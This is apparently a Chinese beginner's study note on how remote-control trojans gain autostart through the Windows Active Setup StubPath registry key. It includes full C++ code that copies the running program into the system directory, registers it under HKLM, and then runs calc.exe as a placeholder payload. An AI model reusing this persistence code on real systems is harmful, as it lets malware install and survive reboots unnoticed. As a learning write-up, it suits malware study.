一 学习目标
这是一段远程控制木马开机启动的代码,主要使用了ActiveX方式启动。结合自己的理解重新整理了笔记。而作为编程新手入门的自己决定要开始梳理学习目的和订下学习的目标。从今天开始要坚持做到
1.逼自己去看英文版本的MSDN掌握windowsAPI的使用。
2.锻炼编程开发能力,快速开发出安全工具。
3.逆向自己编写的程序熟悉反汇编代码来提升自己的逆向能力,因为逆向和开发的能力是成正比的。
二 编程思路
- ActiveX启动原理
ActiveX启动是在HKEY_LOCAL_MACHINE下的Software\ Microsoft\Active Setup\Installed Components\中注册一条类似{36f8ec70-c29a-11d1-b5c7-0000f8051515}的子建,然后子键中新建StubPath的值项,内容为启动的文件名
编写的思路
要考虑到如果键值已经存在,那么就删除。如果键值没有,那么就创建
- 1、打开指定的注册表键 RegOpenKeyEx
第一步则先判断打开的注册表键动作是否成功,根据状态继续执行之后的步骤
-
- 1.1 未成功
-
-
1.2 获取系统文件夹 GetSystemDirectory
-
-
-
1.3 获取执行文件当前所在目录 GetModuleFileName
-
-
-
1.4 复制自身到系统文件夹中 CopyFile
-
-
-
1.5 新建注册表子键与值项 RegCreateKeyEx
-
-
-
1.6 新建注册表子建值项内容 RegSetValueEx
-
-
-
1.7 关闭注册表句柄 RegCloseKey
-
-
- 2、 成功
-
-
- 执行弹出计算器 WinExec
-
-
-
- 删除键值 RegDeleteKey
-
参考文章
[普及]程序自启动方式 - ActiveX
编程实现木马的ActiveX启动和注入IE的启动方式
三 实现流程
编程环境
操作系统:windows 7
编译器版本:vs 2010
前置API函数
// 打开注册表RegOpenKeyEx()// 打开系统目录路径GetSystemDirectory()// 获取当前程序运行目录路径GetModuleFileName()// 复制文件CopyFile()// 创建新的注册表键RegCreateKeyEx()// 修改注册表键值RegSetValueEx()// 释放注册表键句柄RegCloseKey()// 执行程序函数WinExec()// 开启线程_beginthreadex()// 等待线程WaitForSingleObject()// 关闭线程CloseHandle()
C++代码
vs2010,vs2015编译通过
#include "stdafx.h"#include "临时存储Win32项目.h"#include// 删除原先创建的键值unsigned __stdcall SecondThreadFunc(void* pArguments){ //删除键值 RegDeleteKey(HKEY_CURRENT_USER, L"Software\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}"); RegDeleteKey(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}"); //结束线程 _endthreadex(0); return 0;}// 执行想要执行的程序void MyCode() { //运行计算器 WinExec("C:\\windows\\system32\\calc.exe", SW_SHOWDEFAULT); // 开启线程,删除之前的注册表GUID HANDLE hThread; unsigned threadID; hThread = (HANDLE)_beginthreadex(NULL, 0, &SecondThreadFunc, NULL, 0, &threadID); // 等待线程结束 WaitForSingleObject(hThread, INFINITE); // 关闭线程 CloseHandle(hThread);}//修改或创建字符串类型的键值void CreateStringReg(HKEY hRoot, LPCWSTR szSubkey, LPCWSTR ValueName, LPCWSTR Data){ // 创建新的注册表键 HKEY hKey; long lRet = RegCreateKeyEx(hRoot, szSubkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL); if (ERROR_SUCCESS != lRet) { return; } //修改或创建注册表键值 lRet = RegSetValueEx(hKey, ValueName, 0, REG_SZ, (BYTE*)Data, wcslen(Data) * 2); if (ERROR_SUCCESS != lRet) { return; } // 释放注册表键句柄 RegCloseKey(hKey);}int WINAPI WinMain( HINSTANCE hInstance, // handle to current instance HINSTANCE hPrevInstance, // handle to previous instance LPSTR lpCmdLine, // command line int nCmdShow // show state){ HKEY hKey; DWORD dwDpt = REG_OPENED_EXISTING_KEY; // 打开注册表键值 long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}", REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, &hKey); if (lRet != ERROR_SUCCESS) { WCHAR SelfFile[MAX_PATH]; WCHAR SystemPath[MAX_PATH + 20]; //获取系统目录 GetSystemDirectory(SystemPath, sizeof(SystemPath)); //在系统目录与\\activexrun.exe连接 wcscat_s(SystemPath, L"\\activexrun.exe"); //获取当前进程路径 GetModuleFileName(NULL, SelfFile, MAX_PATH); //ActiveXStart.exe复制到C:\windows\system32目录下 CopyFile(SelfFile, SystemPath, FALSE); //写注册表 CreateStringReg(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}", L"StubPath", SystemPath); return 0; } //如果注册表键值存在就运行下面这个函数 MyCode(); return 0;}